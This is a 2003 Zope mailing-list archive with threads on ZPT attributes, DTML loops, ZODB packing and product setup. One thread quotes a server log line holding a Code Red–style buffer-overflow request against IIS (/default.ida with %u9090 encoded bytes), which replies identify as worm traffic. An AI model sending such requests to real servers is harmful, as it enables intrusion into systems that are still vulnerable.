indepthl.com Thu Aug 7 13:05:10 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Thu Aug 7 14:03:12 2003 Subject: [Zope] Zope file size limit on linux? Message-ID: <3F324076.7017.1510FE7@localhost> Hi. I have a simple question, but don't seem to be able to put my finger on the answer right now. On Windows 2000 i've encountered a 2GB limit on the size of a ZODB file. Is there such a limit on Linux (vanilla Redhat 8, out of the box), and if so, what is that limit? Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From pw_lists at slinkp.com Thu Aug 7 15:11:06 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 7 14:11:21 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <3F328595.6040008@nipltd.com> References: <003501c35ca6$a67444b0$0a00a8c0@logicetc.com> <003a01c35ca9$13ad2a90$0a00a8c0@logicetc.com> <20030807155437.GA2241@slinkp.com> <3F328595.6040008@nipltd.com> Message-ID: <20030807181106.GB2622@slinkp.com> On Thu, Aug 07, 2003 at 06:00:05PM +0100, Chris Withers wrote: > Paul Winkler wrote: > >1) It's surprising - other attributes don't behave this way. > > Not very. The attributes it applies to need this, and I think it only > happens if the content type of the ZPT is text/html. Try doing a checkbox > withotu this feature ;-) hmm. OK that sounds sensible. If this is the case, and given the omit-"nothing" behavior that I didn't know about, my whole proposal is probably unnecessary. Whew. :-) But when I try setting the content-type to text/xml, the tal:attributes are not evaluated at all! I see the raw tal:attributes expressions in the output! wha???? It does seem a bit odd that "selected" and "checked" can be omitted when the expression returns *any* pythonically false value, while other attributes only behave this way when the return value is pythonically None (aka nothing). But i guess that's a quibble. > >2) It's undocumented AFAICT. > > Hmm... try the Zope 2.6 Book, I know I've read this documentation in the > language specs somewhere... Looking again, I see that the delete-when-"nothing" behavior is documented, in both the Advanced Page Templates chapter and the ZPT reference. Hmm, I should read those again. :-) It's also possible to keep the value of an attribute when the expression evaluates to "default". neat! However, there is no mention of this special behavior for checked & selected - that true values are discarded and replaced with the name of the attribute. > >3) It's specific to XHTML and likely to be problematic when using ZPT to > >generate other flavors of XML. I notice that this special behavior > >is applied regardless of what tag you put these attributes in. > > See note about content type above. see weird result above :) > >There is of course the common idiom of writing the entire tag twice with > >two > >opposing "tal:condition"s, but that often leads to redundant html > >as well as redundant tag contents. > > Erg! Ug! Yuk! People do this?! Erg ug yuk, indeed... but it was posted as a suggestion earlier in this very thread, and I've seen it a lot. > > > tal:conditional_attributes="checked request/some_var | nothing" /> > > I suspect that will work as expected if you remove the conditional_ > prefix... do let me know though! Well, it sort of does. Discarding the return value still seems icky to me. I guess it was considered necessary, to avoid the need for a python expression like so: But that could be avoided more cleanly if there were an "and" operator, something like: ... but that's another proposal for another day ;-) -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's SUPER MATHEMATICIAN OF WANKFORDSHIRE! (random hero from isometric.spaceninja.com) From pw_lists at slinkp.com Thu Aug 7 15:17:35 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 7 14:17:49 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <000501c35d04$8ee069b0$0a00a8c0@logicetc.com> References: <20030807155437.GA2241@slinkp.com> <000501c35d04$8ee069b0$0a00a8c0@logicetc.com> Message-ID: <20030807181735.GC2622@slinkp.com> On Thu, Aug 07, 2003 at 12:54:25PM -0400, Ron Bickers wrote: > Regardless of the attribute, if the expression evaluates to 'nothing', then > it's discarded. yes, i'd missed that... and it's documented. > One could accomplish the same as above by doing the > following and there would be no need for special handling of > checked/selected. > > tal:attributes="checked python:test('Pepperoni' in path('request/toppings | > python:[]'), 'checked', nothing)" /> > > Not quite as elegant, but it's not horrible and it behaves as expected, yes? nested python: expressions.... hmm... sorry to say that pushes it over the "horrible" mark for me :-\ I might write it like this: or like this: -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's KILLER YELLOW SOLDIER! (random hero from isometric.spaceninja.com) From rbickers-expires-1060888233.9472c8 at logicetc.com Thu Aug 7 16:09:57 2003 From: rbickers-expires-1060888233.9472c8 at logicetc.com (Ron Bickers) Date: Thu Aug 7 15:10:37 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <20030807181735.GC2622@slinkp.com> Message-ID: <000f01c35d17$7dd52ee0$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Paul Winkler > I might write it like this: > > checked="checked" > tal:attributes="checked python:test('Pepperoni' in > request.get('toppings', []), > default, nothing)" > /> > > or like this: > > checked="checked" > tal:attributes="checked python:('Pepperoni' in > request.get('toppings',[])) and > default or nothing" /> Yeah. These are nicer. I got my version long ago during discussions before ZPT was included in Zope. So, my select/option and radio examples without needing the special behavior would look like this: ...and... Yes No I don't know if any graphical editors will have a problem with multiple inputs having the checked/selected attribute or not, so I chose the string 'selected' instead of default. Did I miss anything? Is there an advantage or disadvantage of using "and...or" instead of test()? _______________________ Ron Bickers Logic Etc, Inc. From stefan at epy.co.at Thu Aug 7 22:23:03 2003 From: stefan at epy.co.at (Stefan H. Holek) Date: Thu Aug 7 15:24:03 2003 Subject: [Zope] Duplicated keys in a BTreeFolder2 In-Reply-To: <200308071011.22173.thierry.florac@onf.fr> References: <200308071011.22173.thierry.florac@onf.fr> Message-ID: <1068254547.1060291383@[172.16.8.4]> Just a guess but do you have a bare 'except:' somewhere in your code that is masking eventual ConflictErrors? Stefan --On Donnerstag, 07. August 2003 10:11 +0200 Thierry Florac wrote: > I currently use a custom subclass of BTreeFolder2 to store my site's > users profiles (currently 3700). > > I've noticed several problems : > - several keys (= user ids) are duplicated in this folder ; in the ZMI, > these duplicated keys appear at the start of the list, unordered. > - some keys are duplicated more than once ; if I try to delete one of > them, the other duplicated keys are kept and can't be deleted, because > the object doesn't exist !!! > - if I try to cut a duplicated object and paste it into another folder, > I receive an error message, saying that I'm trying to paste an object > from a foreign database connection !!! > -- The time has come to start talking about whether the emperor is as well dressed as we are supposed to think he is. /Pete McBreen/ From pw_lists at slinkp.com Thu Aug 7 16:27:15 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 7 15:27:29 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <000f01c35d17$7dd52ee0$0a00a8c0@logicetc.com> References: <20030807181735.GC2622@slinkp.com> <000f01c35d17$7dd52ee0$0a00a8c0@logicetc.com> Message-ID: <20030807192715.GB1260@slinkp.com> On Thu, Aug 07, 2003 at 03:09:57PM -0400, Ron Bickers wrote: > I don't know if any graphical editors will have a problem with multiple > inputs having the checked/selected attribute or not, so I chose the string > 'selected' instead of default. hmm, that's a good point, i don't know either. I'd be worried of something "fixing" it for me. > Did I miss anything? Is there an advantage or disadvantage of using > "and...or" instead of test()? only that it short-circuits. In the expression "foo and bar or baz": * bar is only evaluated if foo is true. * baz is only evaluated if either foo or bar is false. test() evaluates everything before it is even called. However, in the grand scheme of things, this is probably not significant to your website performance :-) -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE PUERILE DEMON! (random hero from isometric.spaceninja.com) From rbickers-expires-1060890307.5f0dea at logicetc.com Thu Aug 7 16:44:30 2003 From: rbickers-expires-1060890307.5f0dea at logicetc.com (Ron Bickers) Date: Thu Aug 7 15:45:10 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <20030807181735.GC2622@slinkp.com> Message-ID: <001501c35d1c$51c72920$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Paul Winkler > > > tal:attributes="checked python:test('Pepperoni' in > path('request/toppings | > > python:[]'), 'checked', nothing)" /> > > > > Not quite as elegant, but it's not horrible and it behaves as > expected, yes? > > nested python: expressions.... hmm... sorry to say that pushes it > over the "horrible" mark for me :-\ I remember now why I used the path() function with a nested python expression instead of the get method... If you're using a variable other than 'request' (which we know will exist), you'll get an exception if that variable doesn't exist. The path() function handles this gracefully and returns nothing. So, how would you write the following more elegantly to handle when 'somevar' doesn't exist? "python:test('A' in path('somevar/letters' | python:[]'), 'checked', nothing)" _______________________ Ron Bickers Logic Etc, Inc. From sgillies at frii.com Thu Aug 7 15:06:33 2003 From: sgillies at frii.com (Sean Gillies) Date: Thu Aug 7 16:06:37 2003 Subject: [Zope] Using pydoc or epydoc on Zope products Message-ID: Greetings, I have a Zope product (http://zope.org/Members/sgillies/zmapserver) and am trying to put together documentation using pydoc or epydoc. Problem is that each of these croak when they inspect my packages which import: import Globals from Globals import Persistent pydoc reports ImportError: cannot import name Persistent and epydoc reports similarly. I am certain that I have PYTHONPATH set up correctly. I've been using ZopeTestCase extensively in development, so I think I have a good handle on the environment needed to import Zope. Can pydoc/epydoc be used for my purposes only within the context of a live Zope? Am I going to have to create a Zope instance as in a ZopeTestCase and then run pydoc/epydoc against the code in Products? I'd really like to hear of any kind of solution. thanks, Sean -- Sean Gillies sgillies at frii dot com http://www.frii.com/~sgillies From pw_lists at slinkp.com Thu Aug 7 17:08:32 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 7 16:08:47 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <001501c35d1c$51c72920$0a00a8c0@logicetc.com> References: <20030807181735.GC2622@slinkp.com> <001501c35d1c$51c72920$0a00a8c0@logicetc.com> Message-ID: <20030807200832.GD1260@slinkp.com> On Thu, Aug 07, 2003 at 03:44:30PM -0400, Ron Bickers wrote: > I remember now why I used the path() function with a nested python > expression instead of the get method... > > If you're using a variable other than 'request' (which we know will exist), > you'll get an exception if that variable doesn't exist. The path() function > handles this gracefully and returns nothing. > > So, how would you write the following more elegantly to handle when > 'somevar' doesn't exist? > > "python:test('A' in path('somevar/letters' | python:[]'), 'checked', > nothing)" I'd make sure it exists :-\ Seriously, when is this a problem? If somevar is at the top level, you've either defined it somewhere or it's one of the built-in names. If it's not either one, it must be a mistake. What am I missing? -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's UNGODLY FIST CAPTAIN! (random hero from isometric.spaceninja.com) From rbickers-expires-1060892558.da002f at logicetc.com Thu Aug 7 17:22:01 2003 From: rbickers-expires-1060892558.da002f at logicetc.com (Ron Bickers) Date: Thu Aug 7 16:22:42 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <20030807200832.GD1260@slinkp.com> Message-ID: <001b01c35d21$8f181550$0a00a8c0@logicetc.com> > -----Original Message----- > From: zope-bounces@zope.org [mailto:zope-bounces@zope.org]On Behalf Of > Paul Winkler > > So, how would you write the following more elegantly to handle when > > 'somevar' doesn't exist? > > > > "python:test('A' in path('somevar/letters' | python:[]'), 'checked', > > nothing)" > > I'd make sure it exists :-\ > Seriously, when is this a problem? If somevar is at the top level, > you've either defined it somewhere or it's one of the built-in names. > If it's not either one, it must be a mistake. What am I missing? Ah. My explanation wasn't correct. I'll try again... If I define somevar as follows, which I commonly do: define="somevar session/somevar | nothing" Then yes, somevar will exist, but if it's 'nothing', it won't have a get method. That's when it will raise the exception if I use your code to check it. Hmmm... Should I define somevar like this instead? define="somevar session/somevar | python:{}" _______________________ Ron Bickers Logic Etc, Inc. From sgillies at frii.com Thu Aug 7 15:30:36 2003 From: sgillies at frii.com (Sean Gillies) Date: Thu Aug 7 16:30:42 2003 Subject: [Zope] Using pydoc or epydoc on Zope products In-Reply-To: Message-ID: <00B3275D-C916-11D7-899B-000393B98B56@frii.com> On Thursday, August 7, 2003, at 02:06 PM, Sean Gillies wrote: > Greetings, > > I have a Zope product (http://zope.org/Members/sgillies/zmapserver) > and am trying to put together documentation using pydoc or epydoc. > > Problem is that each of these croak when they inspect my packages > which import: > > import Globals > from Globals import Persistent > > pydoc reports > > ImportError: cannot import name Persistent > > and epydoc reports similarly. I am certain that I have PYTHONPATH > set up correctly. I've been using ZopeTestCase extensively in > development, so I think I have a good handle on the environment > needed to import Zope. > > Can pydoc/epydoc be used for my purposes only within the context of a > live Zope? Am I going to have to create a Zope instance as in a > ZopeTestCase and then run pydoc/epydoc against the code in Products? > > I'd really like to hear of any kind of solution. > > thanks, > Sean > Well, just answered my own question. Funny how when you take the time to really think it through enough to describe it to others, the solution can come around. I edited epydoc to add import Zope app = Zope.app() at the beginning. cheers, Sean -- Sean Gillies sgillies at frii dot com http://www.frii.com/~sgillies From borelan at wanadoo.fr Thu Aug 7 17:37:23 2003 From: borelan at wanadoo.fr (andre) Date: Thu Aug 7 16:38:06 2003 Subject: [Zope] Zope 2.7.0b1 - No New Product in Control_Panel/Products and other questions Message-ID: <3F32B883.8090204@wanadoo.fr> I installed Zope 2.7.0b1 on Win XP Pro No problems occured during installation of Zope and Instance Home. I'm able to run both Zope 2.6 and 2.7 on the same machine using two different port numbers. I tried to test a 2.6's product of my own on 2.7. I copied the product in instancehome/Products and after having restarted the server, nothing happened. The product doesn't appear in Product list; no error messages, no special logs, I added a __init__.py module to the product directory. Same behaviour I copied the product in ZopeHome product directory I was unable to connect to the server. When i write a products directive in zconf : products $INSTANCE/Products i'm to connect to the server. When i uncomment the line, no problem. Finally i'm actually limited to products delivered with Zope2.7.0 Great but not enough :) I have no problem to run the product on Zope 2.6. Is there something special to do to install a product on Zope 2.7.0 Does Z2.7 use new style classes of Python 2.2.3 ? Is using interfaces with Zope 2.7 a good way to prepare a product to be ported to Z3. Is there another particular interest in using interfaces in Z2.7 except the above one and for documentation purpose ? Thanks, Andre From andrew at logicalprogression.net Thu Aug 7 22:45:52 2003 From: andrew at logicalprogression.net (Andrew Veitch) Date: Thu Aug 7 16:39:17 2003 Subject: [Zope] MailManager 0.94 released Message-ID: MailManager is a Zope product that allows organisations to manage email even as volumes rise. It handles mail allocation, provides tools for answering mail quickly and has many different management reports. We are very grateful for all of the bug reports, features requests and other feedback from the community. Version 0.94 contains 25 improvements over the original version. We do not recommend that MailManager is deployed in a production environment before version 1.0. This is scheduled for September. Note that we will not be providing migration tools until version 1.0. Any feedback on this version is welcome. Andrew -- Logical Progression Ltd, 20 Forth Street, Edinburgh EH1 3LH, UK Tel: +44 (0)131 550 3733 Web: http://www.logicalprogression.net/ From msajec at tqs.com Thu Aug 7 14:37:27 2003 From: msajec at tqs.com (Sajec, Mike TQO) Date: Thu Aug 7 16:42:02 2003 Subject: [Zope] using "sequence-even" in nested "dtml-in" loops? Message-ID: <2E5FEA6E71B22B46BBD13D126F719209027A5E5E@STARBURST.tqs.com> Hello, If someone can help with this, I would really appreciate it. I'm trying to setup alternating colors in a query built table. I'm attempting to key off the sequence-even variable to set the row colors. The problem that I'm seeing is that sequence-index always equals zero, which makes sequence-even always true, and every row grey. It appears that sequence-index is looking at the outer loop. Any hints? Thanks in advance, Mike

#*******************HERE #*******************HERE #*******************HERE #*******************HERE #*******************HERE
Name Position Phone Pager Cell Email
,

From pw_lists at slinkp.com Thu Aug 7 17:55:36 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Thu Aug 7 16:55:52 2003 Subject: [Zope] Using ZPT with options/radio/checkboxes In-Reply-To: <001b01c35d21$8f181550$0a00a8c0@logicetc.com> References: <20030807200832.GD1260@slinkp.com> <001b01c35d21$8f181550$0a00a8c0@logicetc.com> Message-ID: <20030807205536.GE1260@slinkp.com> On Thu, Aug 07, 2003 at 04:22:01PM -0400, Ron Bickers wrote: > If I define somevar as follows, which I commonly do: > > define="somevar session/somevar | nothing" > > Then yes, somevar will exist, but if it's 'nothing', it won't have a get > method. That's when it will raise the exception if I use your code to check > it. > > Hmmm... Should I define somevar like this instead? > > define="somevar session/somevar | python:{}" maybe... sometimes... i dunno? i think i've reached the end of my ability to generalize about this topic :-) - Paul Winkler http://www.slinkp.com Look! Up in the sky! It's NEGA N + 1 MANTICORE! (random hero from isometric.spaceninja.com) From zope at dylanreinhardt.com Thu Aug 7 22:28:02 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Thu Aug 7 17:28:04 2003 Subject: [Zope] using "sequence-even" in nested "dtml-in" loops? In-Reply-To: <2E5FEA6E71B22B46BBD13D126F719209027A5E5E@STARBURST.tqs.com> References: <2E5FEA6E71B22B46BBD13D126F719209027A5E5E@STARBURST.tqs.com> Message-ID: <1060291654.17985.761.camel@ida.dylanreinhardt.com> When you use nested dtml-in's, you should use the prefix attribute. It's not a bad idea to make a habit of using prefix anyway. Example: The prefix (plus an underscore) replaces "sequence-" in the normal loop variable names. HTH, Dylan On Thu, 2003-08-07 at 13:37, Sajec, Mike TQO wrote: > Hello, > > If someone can help with this, I would really appreciate it. > > I'm trying to setup alternating colors in a query built table. I'm > attempting to key off the sequence-even variable to set the row colors. The > problem that I'm seeing is that sequence-index always equals zero, which > makes sequence-even always true, and every row grey. It appears that > sequence-index is looking at the outer loop. Any hints? > > Thanks in advance, > Mike > > >

> > > > > > > > > > > > > #*******************HERE > #*******************HERE > #*******************HERE > #*******************HERE > #*******************HERE > > > > > > > > > > >
NamePositionPhonePagerCellEmail
,
>

> > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From r.s.robinson at ntlworld.com Thu Aug 7 23:30:11 2003 From: r.s.robinson at ntlworld.com (Stuart Robinson) Date: Thu Aug 7 17:30:18 2003 Subject: [Zope] zope, curious http requests, apache Message-ID: <200308072230.11761.r.s.robinson@ntlworld.com> Hello all, I'm having my second 'play' with zope, this time round however I've go it exposed to the world through port 80 (running on port 80), firewalled etc. I notices in Zope's output stream in the terminal window this evening a curious "ZServer Bad HTTP request: 'GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090% u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0'" ... which if I'm not mistaken is a deliberate or scripted attack? 1st question: This is nothing to worry about with zope, right? 2nd question: is runing zope behind Apache any help?, and if so (while I appreciate it is not trivial), what sort of things should I look out for? Does anyone know of an 'everymans[!] guide to setting up apache and not doing it the WRONG way'? (sorry that's probably my quota of questions tonight I know!) :-) Thanks in advance for any advice. Stu From dave-zope at dnh.sk.ca Thu Aug 7 17:04:10 2003 From: dave-zope at dnh.sk.ca (Dave Hall) Date: Thu Aug 7 18:07:04 2003 Subject: [Zope] zope, curious http requests, apache In-Reply-To: <200308072230.11761.r.s.robinson@ntlworld.com> References: <200308072230.11761.r.s.robinson@ntlworld.com> Message-ID: <20030807220410.GA24340@dnh.sk.ca> On Thu, Aug 07, 2003 at 10:30:11PM +0100, Stuart Robinson wrote: > Hello all, > > I notices in Zope's output stream in the terminal window this evening a > curious "ZServer Bad HTTP request: 'GET > /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090% > u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% > u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0'" ... > which if I'm not mistaken is a deliberate or scripted attack? > > 1st question: This is nothing to worry about with zope, right? This looks like code-red or something similar looking for a vulnerable IIS server. It shouldn't be a security worry for Zope, just some unwanted traffic. > 2nd question: is runing zope behind Apache any help?, and if so (while I > appreciate it is not trivial), what sort of things should I look out for? > Does anyone know of an 'everymans[!] guide to setting up apache and not doing > it the WRONG way'? (sorry that's probably my quota of questions tonight I > know!) :-) If you wish to block this from reaching the zope server, you could configure apache to send a HTTP error response rather than forwarding to zope ... or be evil and send a redirect to the attacking server to attacks itself. The apache manual httpd.apache.org should have a few good examples of blocking using either mod_access or mod_rewrite. -- Dave From lists at localguru.de Fri Aug 8 01:19:31 2003 From: lists at localguru.de (Marcus Schopen) Date: Thu Aug 7 18:19:56 2003 Subject: [Zope] can't pack large Data.fs (2.5GB) Message-ID: <3F32D073.5000005@localguru.de> Hi, can't pack a 2.5GB big Data.fs through the ZMI: Zope Error: ---------- Zope has encountered an error while publishing this resource. Error Type: OverflowError Error Value: integer addition ---------- System is Debian woody with ext3: ---------- (Zope 2.6.2 (CVS 20030518 source release, python 2.1, linux2), python 2.1.3, linux2) Python Version 2.1.3 (#1, Sep 7 2002, 15:29:56) [GCC 2.95.4 20011002 (Debian prerelease)] System Platform ---------- traceback: ---------- 2003-08-07T23:16:18 ERROR(200) ZODB packing Traceback (innermost last): File /home/dzug/Zope/lib/python/ZODB/DB.py, line 502, in pack File /home/dzug/Zope/lib/python/ZODB/FileStorage.py, line 1503, in pack (Object: /home/dzug/Zope/var/Data.fs) File /home/dzug/Zope/lib/python/ZODB/fspack.py, line 658, in pack File /home/dzug/Zope/lib/python/ZODB/fspack.py, line 442, in findReachable File /home/dzug/Zope/lib/python/ZODB/fspack.py, line 459, in buildPackIndex OverflowError: integer addition ---------- If it was a LFS problem the zope wouldn't run. And I think the woody's python (Version: 2.1.3-3.2) is built with LFS support. Any ideas? Cheers, M. -- Marcus Schopen (0> P.O. Box 10 25 25 //\ Deutsche Zope User Group D-33525 Bielefeld V_/_ www.dzug.org From mtran at shufflemasterrd.com Thu Aug 7 17:21:15 2003 From: mtran at shufflemasterrd.com (Mike Doanh Tran) Date: Thu Aug 7 18:21:19 2003 Subject: [Zope] using "sequence-even" in nested "dtml-in" loops? References: <20030807221450.149593BA@postman> Message-ID: <004901c35d32$3886c450$3690a8c0@miketlaptop> You almost got it. Try this: MT ----- Original Message ----- From: "Mike Doanh Tran" To: Sent: Thursday, August 07, 2003 4:14 PM Subject: Fwd: [Zope] using "sequence-even" in nested "dtml-in" loops? > > > ---------- Forwarded Message ---------- > > Subject: [Zope] using "sequence-even" in nested "dtml-in" loops? > Date: Thu, 7 Aug 2003 13:37:27 -0700 > From: "Sajec, Mike TQO" > To: zope@zope.org > > Hello, > > If someone can help with this, I would really appreciate it. > > I'm trying to setup alternating colors in a query built table. I'm > attempting to key off the sequence-even variable to set the row colors. The > problem that I'm seeing is that sequence-index always equals zero, which > makes sequence-even always true, and every row grey. It appears that > sequence-index is looking at the outer loop. Any hints? > > Thanks in advance, > Mike > > >

> > > > > > > > > > > > > #*******************HERE > #*******************HERE > #*******************HERE > #*******************HERE > #*******************HERE > > > > > > > > > > >
NamePositionPhonePagerCellEmail
,
>

> > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > > ------------------------------------------------------- From ben at center7.com Thu Aug 7 17:24:06 2003 From: ben at center7.com (Ben Bush) Date: Thu Aug 7 18:24:10 2003 Subject: [Zope] dtml-in format Message-ID: <3F32D186.8070306@center7.com> I would like to use dtml-in to iterate through some results in a python script. I am not sure what format I need to put the results into in my python script to be able to reference them in the tags. I am currently trying to return a dictionary but that does not seem to work. Here is how I have it setup. I have a DTML-method with a DTML-IN block that trys to printout the variable. The object currentItems is a python script. Here is a copy of it. I print out the return results and it goes back as a list with a dictionary per item. ## Script (Python) "current_items" ##bind container=container ##bind context=context ##bind namespace= ##bind script=script ##bind subpath=traverse_subpath ##parameters= ##title= ## # Get a list of the current items in the cart and return it back in a table format # Provide access to session data session=context.REQUEST.SESSION # Only get items if the cart has been established if session.has_key('cart'): cart=session.get('cart', {}) cart_items=[] # Lets loop through our cart and get each item for product_id, quantity in cart.items(): item=context.get_item(product_id=product_id).dictionaries() for record in item: record['quantity']=quantity #print record, "
" cart_items.append(record) print cart_items return printed #return cart_items else: # No Cart established, no need to return anything return Any help would be greatly appreciated. Thanks, -- Ben Bush Center 7, Systems Administrator 801-655-2640 From zope at dylanreinhardt.com Thu Aug 7 23:50:30 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Thu Aug 7 18:50:31 2003 Subject: [Zope] dtml-in format In-Reply-To: <3F32D186.8070306@center7.com> References: <3F32D186.8070306@center7.com> Message-ID: <1060296600.18995.3.camel@ida.dylanreinhardt.com> On Thu, 2003-08-07 at 15:24, Ben Bush wrote: > I would like to use dtml-in to iterate through some results in a python > script. I am not sure what format I need to put the results into in my > python script to be able to reference them in the tags. I am > currently trying to return a dictionary but that does not seem to work. You can't iterate over a dictionary... at least, not yet. :-) Instead, have the script return a *list* of items to iterate over. That should do the trick. HTH, Dylan From lists at localguru.de Fri Aug 8 00:47:48 2003 From: lists at localguru.de (Marcus Schopen) Date: Thu Aug 7 18:51:19 2003 Subject: [Zope] can't pack large Data.fs (2.5GB) Message-ID: Hi, can't pack a 2.5GB big Data.fs through the ZMI: ---------- Zope Error Zope has encountered an error while publishing this resource. Error Type: OverflowError Error Value: integer addition ---------- System: Debian woody with ext3 ---------- (Zope 2.6.2 (CVS 20030518 source release, python 2.1, linux2), python 2.1.3, linux2) Python Version 2.1.3 (#1, Sep 7 2002, 15:29:56) [GCC 2.95.4 20011002 (Debian prerelease)] System Platform ---------- If it was a LFS problem the zope wouldn't run. And I think the woody's python (Version: 2.1.3-3.2) is built with LFS support. Any ideas? Cheers, M. From lists at localguru.de Fri Aug 8 01:57:01 2003 From: lists at localguru.de (Marcus Schopen) Date: Thu Aug 7 18:57:23 2003 Subject: [Zope] Re: can't pack large Data.fs (2.5GB) In-Reply-To: <3F32D073.5000005@localguru.de> References: <3F32D073.5000005@localguru.de> Message-ID: Hi, sorry about posting twice. I used the gmane newsserver first and nothing happend for about an hour. So I thought gmane has eaten the posting, like it did (and still does) many times on debian lists. Marcus From jens at zope.com Thu Aug 7 20:35:41 2003 From: jens at zope.com (Jens Vagelpohl) Date: Thu Aug 7 19:36:39 2003 Subject: [Zope] Zope 2.7.0b1 - No New Product in Control_Panel/Products and other questions In-Reply-To: <3F32B883.8090204@wanadoo.fr> Message-ID: > When i write a products directive in zconf : > products $INSTANCE/Products > i'm to connect to the server. > When i uncomment the line, no problem. This is fixed in CVS as far as I know. jens From Jerry at Westrick.Com Fri Aug 8 03:02:54 2003 From: Jerry at Westrick.Com (Jerry Westrick) Date: Thu Aug 7 22:02:56 2003 Subject: [Zope] Truncation Reading from ODBC Message-ID: <1060308254.17084.10.camel@jerry.westrick.local> Hello Zopistas: I'm trying to read (and later probably write) large strings to a postgress database. I'm using the egenix ODBC adapter, and the unix ODBC postgress driver. When I read a column with 20,000+ characters I only get the first 8194 characters. Is this: 1) a Zope restriction? 2) a UnixOdbc restriction? 3) a egenix ODBC restriction? 4) an ODBC protocol restiction? Thanks for any of the above answers.... Jerry Westrick From daniel_t at earthlink.net Fri Aug 8 00:00:43 2003 From: daniel_t at earthlink.net (Daniel Tartaglia) Date: Thu Aug 7 23:00:51 2003 Subject: [Zope] Newbie question about zodb and script (python) Message-ID: <8025A66B-C94C-11D7-B7EA-0050E4CE2500@earthlink.net> I'm pretty raw with zope so far but I'm trying to save information that is entered in a form, into a file. I tried pickling the object from in a scrip (python) and when that didn't work (because the shelf module was restricted) I tried using zodb instead but that module is restricted as well. I seem to remember reading something about these restrictions and how to get around them (something about calling actual python code?) but I can't find the reference any more. I have an zpt form to allow a person to enter his first and last name, how do I save the first and last name in a database file? The below doesn't work because I can't import FileStorage... from ZODB import FileStorage, DB class Person: pass storage = FileStorage( 'allDentest.fs' ) dbase = DB( storage ) connection = dbase.open() root = connection.root() # create a unique entry id id = '%d' % len(entries_folder.objectIds()) newDentist = Person() newDentist.id = len( dbase ) newDentist.firstName = first newDentist.lastName = last root[newDentist.id] = newDentist connection.get_transaction().commit() connection.close() From lukesh at seznam.cz Fri Aug 8 06:49:59 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Thu Aug 7 23:54:08 2003 Subject: [Zope] From FTP to FTP copy support? Message-ID: <3F2692A8001ACC6B@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Chris Withers > > it is possible to push zope FTP client to copy from one Zope FTP session to sorry, typo: server > > another FTP session? > > Didn't know Zope had an FTP client... Sory, server. > Can you try asking again, 'cos I couldn't quite parse what you're after... OK, I have FTP client with two FTP sessions at the same zope FTP server, but with different folders. One server client opens in active mode transfer, second in passive mode transfer. Data channell is not going into FTP client, only control channell. I was test it with sample files, this is OK, but folder and some files that I want to remote copy have error in creation via FTP (I must make it via ZMI). Result: Zope FTP server is able to serve that mode of access, but here are some known problems with objects creation. So I need to use ZMI :( Regards, JL. From ben at center7.com Thu Aug 7 23:15:03 2003 From: ben at center7.com (Ben Bush) Date: Fri Aug 8 00:15:46 2003 Subject: [Zope] dtml-in format In-Reply-To: <1060296600.18995.3.camel@ida.dylanreinhardt.com> References: <3F32D186.8070306@center7.com> <1060296600.18995.3.camel@ida.dylanreinhardt.com> Message-ID: <3F3323C7.2050509@center7.com> How do I address each item in the list? Can you give me an example if I were to return a list of integers and a dicitionary list. Here is what I would be interested in knowing 